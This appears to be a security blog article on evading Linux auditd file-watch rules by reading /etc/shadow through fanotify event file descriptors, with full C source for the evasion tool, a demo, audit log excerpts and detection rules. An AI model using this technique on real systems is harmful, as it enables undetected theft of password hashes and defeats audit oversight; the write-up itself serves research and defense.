Hiding file access to the audit subsystem with fanotify

This article describes a curiosity in the audit subsystem, leading to a hole in the audit logs. The described behaviour seems to be an issue known by kernel maintainers and would, in order to be triggered, require an attacker to have high privileges on a Linux system, its usefulness is thus limited. It could still be used as a stealth method for obtaining information on files, including content, without disabling the auditd daemon.

Audit rules

The Linux audit subsystem has already been discussed on a previous article of this blog. In the following line, I am assuming the reader knows what it is.

Audit rules are divided in two categories: watches and system calls rules. Both types are usually found in files in the /etc/rules.d1 directory. Watch rules allow one to monitor read, write or access actions made on a file or directory and are written as follow:

-w /etc/shadow -p r -k shadow_read

The -w is for enforcing a watch rule, the -p r tells auditd to watch for read permission and the -k is the name of the rule. Once loaded, this rule will trigger when a user on the system starts a process reading the /etc/shadow file, for example using the cat program:

$ cat /etc/shadow
root:$y$k1T$abcd[...]$abcd[...]:20449:0:99999:7:::
daemon:*:20449:0:99999:7:::
bin:*:20449:0:99999:7:::
[...]

Below is the resulting audit log:

$ ausearch -k shadow_read
[...]
time->Sat Nov 14 11:25:05 2026
type=PROCTITLE msg=audit(1794651905.340:4815): proctitle=636174002F6574632F736861646F77
type=PATH msg=audit(1794651905.340:4815): item=0 name="/etc/shadow" inode=20628 dev=08:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 obj=system_u:object_r:shadow_t:s0 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1794651905.340:4815): cwd="/root/audit"
type=SYSCALL msg=audit(1794651905.340:4815): arch=c000003e syscall=257 success=yes exit=3 a0=ffffffffffffff9c a1=7ffd9cb52d88 a2=0 a3=0 items=1 ppid=610 pid=5344 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=1 comm="cat" exe="/usr/bin/cat" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="shadow_read"

The rule fired on a system call event (type=SYSCALL) for the openat() system call (syscall=257 ) called by the cat program (exe="/usr/bin/cat"), effectively detecting attempts of reading users' passwords hashes on the system.

Under the hood

Audit rules monitoring files fires only on system call from the open*() family. This historical decision, has several causes, discussed during its implementation2, one of these being performance. Subsequent read() or write() system calls made to the file descriptor returned by an open*() system call will not trigger more audit events.

Indeed, once a process opens a file, it is assumed that he will do actions on it (reads, writes…) and it makes sense that a cost-effective detection is to look on the file opening system call and not on later system calls. Moreover, maintaining a map between paths and file descriptors is costly and error-prone.

One way of bypassing watch detection rules would be to open a file without the audit subsystem knowing about it. Using io_uring interface rather than the classical open*() system call family is one way of achieving it3, though it is detected when one uses the io_uring audit filter.

Another way could be to use an already existing file descriptor that the user did not obtain through an open*() system call. This is what the fanotify kernel API provides.

The fanotify API

The fanotify interface was added in the kernel 2.6.324 but its modern version is only present since Linux 5.1[^5]. It is defined in its man page as follows:

The  fanotify API provides notification and interception of filesystem events.  Use cases include virus scanning and hierarchical storage management.  In the original fanotify API, only
a limited set of events was supported.  In particular, there was no support for create, delete, and move events.  The support for those events was added in Linux 5.1.   (See  inotify(7)
for details of an API that did notify those events pre Linux 5.1.)

Additional  capabilities  compared  to the inotify(7) API include the ability to monitor all of the objects in a mounted filesystem, the ability to make access permission decisions, and
the possibility to read or modify files before access by other applications.

The following system calls are used with this API: fanotify_init(2), fanotify_mark(2), read(2), write(2), and close(2).

The filesystem events mentioned above are passed to the monitoring program using a fanotify_event_metadata structure:

struct fanotify_event_metadata {
    __u32 event_len;
    __u8 vers;
    __u8 reserved;
    __u16 metadata_len;
    __aligned_u64 mask;
    __s32 fd; <=== Note the file descriptor field
    __s32 pid;
};

the fd field of that structure is a read-only file descriptor on the target of the event:

 fd     This is an open file descriptor for the object being accessed, or FAN_NOFD if a queue overflow occurred.  With an fanotify group that identifies filesystem objects by  file  han‐
       dles,  applications  should expect this value to be set to FAN_NOFD for each event that is received.  The file descriptor can be used to access the contents of the monitored file
       or directory.  The reading application is responsible for closing this file descriptor.

This file descriptor is of interest for us, as it is opened by the kernel but can be used by a userland program calling the fanotify API. Content of files could be accessed, without making a direct open*() system call, thus bypassing the previous audit rule.

Reading fanotify events file descriptors

We will write a program that:

  1. Creates and initializes an fanotify notification group
  2. Adds a mount to that notification group and specifies which events shall be reported
  3. Loop through the event queue and for each event
    1. Get the file path from the fd file descriptor from the struct fanotify_event_metadata with the /proc/fd interface
    2. If the path matches some file of interest, read the file content
    3. Close the file descriptor

Our program will take two parameters:

  • mark_hier: the hierarchy to monitor with the fanotify API
  • target_hier: the path to a target hierarchy we want to read content from

Below is the code of the fanotify_read program:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/fanotify.h>
#include <string.h>
#include <limits.h>

int main(int argc, char *argv[])
{
    char *mark_hier = argv[1];
    char *target_hier = argv[2];
    
    int fan = fanotify_init(FAN_CLOEXEC | FAN_CLASS_NOTIF, O_RDONLY | O_LARGEFILE);

    if (fan < 0) { 
        perror("fanotify_init");
        return 1;
    }

    if (fanotify_mark(fan, FAN_MARK_ADD  | FAN_MARK_MOUNT, FAN_OPEN, AT_FDCWD, mark_hier) < 0) {
        perror("fanotify_mark");
        return 1;
    }

    struct fanotify_event_metadata evts[64];
    ssize_t len = 0;
    char ev_fd_link[PATH_MAX];
    char ev_fd_path[PATH_MAX];

    for (;;) {
        len = read(fan, evts, sizeof(evts));

        if (len <= 0)
                break;

        struct fanotify_event_metadata *ev = evts;

        for (; FAN_EVENT_OK(ev, len); ev = FAN_EVENT_NEXT(ev, len)) {
            if (ev->fd < 0)
                continue;

            snprintf(ev_fd_link, sizeof(ev_fd_link), "/proc/self/fd/%d", ev->fd);
            ssize_t n = readlink(ev_fd_link, ev_fd_path, sizeof(ev_fd_path) - 1);
           
            if (n == -1) {
                perror("readlink");
                continue;
            }

            if (n > 0) {
                ev_fd_path[n] = 0;
                printf("pid %d opened %s\n", ev->pid, ev_fd_path);
            }

            if (strcmp(ev_fd_path, target_hier) == 0) {
                char buf_content[4096];
                int bytes = read(ev->fd, buf_content, sizeof(buf_content));

                if (bytes == -1) {
                    perror("read evt fd");
                    continue;
                }

                printf("Content:\n%s", buf_content);
            }

            close(ev->fd);
        }
    }
}

A bit of explanation of the above lines. First, we need to use fanotify_init() system call to initiate our monitoring context:

int fan = fanotify_init(FAN_CLOEXEC | FAN_CLASS_NOTIF, O_RDONLY | O_LARGEFILE);

We use FAN_CLASS_NOTIF to get events notifying that a file has been accessed, we do not need more.

Then, fanotify_mark() call is needed:

fanotify_mark(fan, FAN_MARK_ADD  | FAN_MARK_MOUNT, FAN_OPEN, AT_FDCWD, mark_hier)

We “mark” the entire mount on which mark_hier is located. All directories, subdirectories, and the contained files of the mount will be monitored. The FAN_OPEN argument will tell us when a file or directory is opened. Note that we need CAP_SYS_ADMIN capability to perform that system call.

An infinite loop looking for fanotify events is started, and every time an event gets pushed, an array of struct fanotify_event_metadata is allocated.

We loop through the fanotify events:

for (; FAN_EVENT_OK(ev, len); ev = FAN_EVENT_NEXT(ev, len)) {

checking if there is a valid file descriptor in the metadata structure and retrieving the path under which the corresponding file was first opened with a readlink() on the /proc/<pid>/fd hierarchy5:

ssize_t n = readlink(ev_fd_link, ev_fd_path, sizeof(ev_fd_path) - 1);

The name of the path is compared with the target_hier parameter and if it matches, its content is read:

if (strcmp(ev_fd_path, target_hier) == 0) {
[...]
    int bytes = read(ev->fd, buf_content, sizeof(buf_content));

Finally, the event file descriptor is closed:

close(ev->fd);

Hiding file access to the audit subsystem

If we run our program (as root) on the / hierarchy looking for /etc/shadow:

$ ./fanotify_read / /etc/shadow

And in another terminal we try to launch a program that we know reads that file, such as passwd:

$ passwd
Changing password for jeff.
Current password: 

We get the /etc/shadow content in the first fanotify_read terminal:

$ ./fanotify_read / /etc/shadow
[...]
pid 674 opened /etc/shadow                                                                     
Content:                                                                                       
root:$y$k1T$abcd[...]$abcd[...]:20449:0:99999:7:::
daemon:*:20449:0:99999:7:::
bin:*:20449:0:99999:7:::
[...]                                                                     

Again, if we look into the audit logs for our rule:

$ ausearch -k shadow_read
time->Sun Nov 15 08:51:49 2026
type=PROCTITLE msg=audit(1794729109.557:313): proctitle=2F7573722F7362696E2F756E69785F63686B707764007072697675736572006E756C6C6F6B
type=PATH msg=audit(1794729109.557:313): item=0 name="/etc/shadow" inode=20628 dev=08:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 obj=system_u:object_r:shadow_t:s0 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1794729109.557:313): cwd="/root"
type=SYSCALL msg=audit(1794729109.557:313): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7f874c6a8078 a2=80000 a3=0 items=1 ppid=754 pid=756 auid=0 uid=0 gid=1002 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=pts2 ses=1 comm="unix_chkpwd" exe="/usr/sbin/unix_chkpwd" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="shadow_read"

It fired on a system call event (type=SYSCALL) for the openat() system call (syscall=257 ) called by the passwd program (exe="/usr/sbin/unix_chkpwd" is a helper binary called by passwd), but never did it detects the read from the fanotify_read program.

Anyone reading the audit logs cannot distinguish between the legit use of passwd and our fanotify read, making the read of the file’s content by our fanotify_read program invisible in the eyes of the auditd daemon.

Detection

Because the read() system calls made on the fanotify events file descriptors cannot be detected effectively with audit rules, detection gets down to check the use of the fanotify API itself. Legit programs may use it but system calls of this API should be watched anyways.

Below are two audit rules detecting the use of these system calls:

$ cat /etc/audit/rules.d/fanotify.rules 
-a always,exit -S fanotify_init -k fanotify_init
-a always,exit -S fanotify_mark -k fanotify_mark

If we now run our fanotify_read program, we get two more events in the audit log:

time->Sun Nov 15 09:15:48 2026
type=PROCTITLE msg=audit(1794730548.950:470): proctitle=2E2F66616E6F746966795F72656164002F002F6574632F736861646F77
type=SYSCALL msg=audit(1794730548.950:470): arch=c000003e syscall=300 success=yes exit=3 a0=1 a1=0 a2=7ffd3f64e158 a3=0 items=0 ppid=588 pid=1040 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=1 comm="fanotify_read" exe="/root/audit/fanotify_read" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="fanotify_init"
----
time->Sun Nov 15 09:15:48 2026
type=PROCTITLE msg=audit(1794730548.950:471): proctitle=2E2F66616E6F746966795F72656164002F002F6574632F736861646F77
type=PATH msg=audit(1794730548.950:471): item=0 name="/" inode=2 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:root_t:s0 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(1794730548.950:471): cwd="/root/audit"
type=SYSCALL msg=audit(1794730548.950:471): arch=c000003e syscall=301 success=yes exit=0 a0=3 a1=11 a2=20 a3=ffffff9c items=1 ppid=588 pid=1040 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts2 ses=1 comm="fanotify_read" exe="/root/audit/fanotify_read" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="fanotify_mark"

Now correlating this to the implementation of the described technique is not easy, especially if the said technique is unknown from the defense team.

Conclusion

This technique as several limitations that makes it useful in only a few cases:

  • the kernel it runs on must be compiled with CONFIG_FANOTIFY
  • the program using it must be run with CAP_SYS_ADMIN

The later means an attacker basically needs to be root on the target system to fool the audit subsystem. But if he is root, why not disabling the auditd daemon entirely? That is one way of avoiding detection. But it is noisy.

The described technique let an attacker wait for desired files, while not leaving audit logs on a machine, and stealthily retrieving their content, mostly relying on normal user activity.

References


  1. Steve Grubb - audit.rules(7) - Linux man page ↩︎

  2. Ondra N. - Auditing write syscall - lore.kernel.org ↩︎

  3. Jeffrey Bencteux - Contournement de détection basée sur les hooks d’appels système avec io_uring ↩︎

  4. Jonathan Corbet - The fanotify API [5]: Jan Kara - fsnotify_for_v5.1-rc1 ↩︎

  5. Unknown - fanotify(7) — Linux manual page ↩︎

Related Articles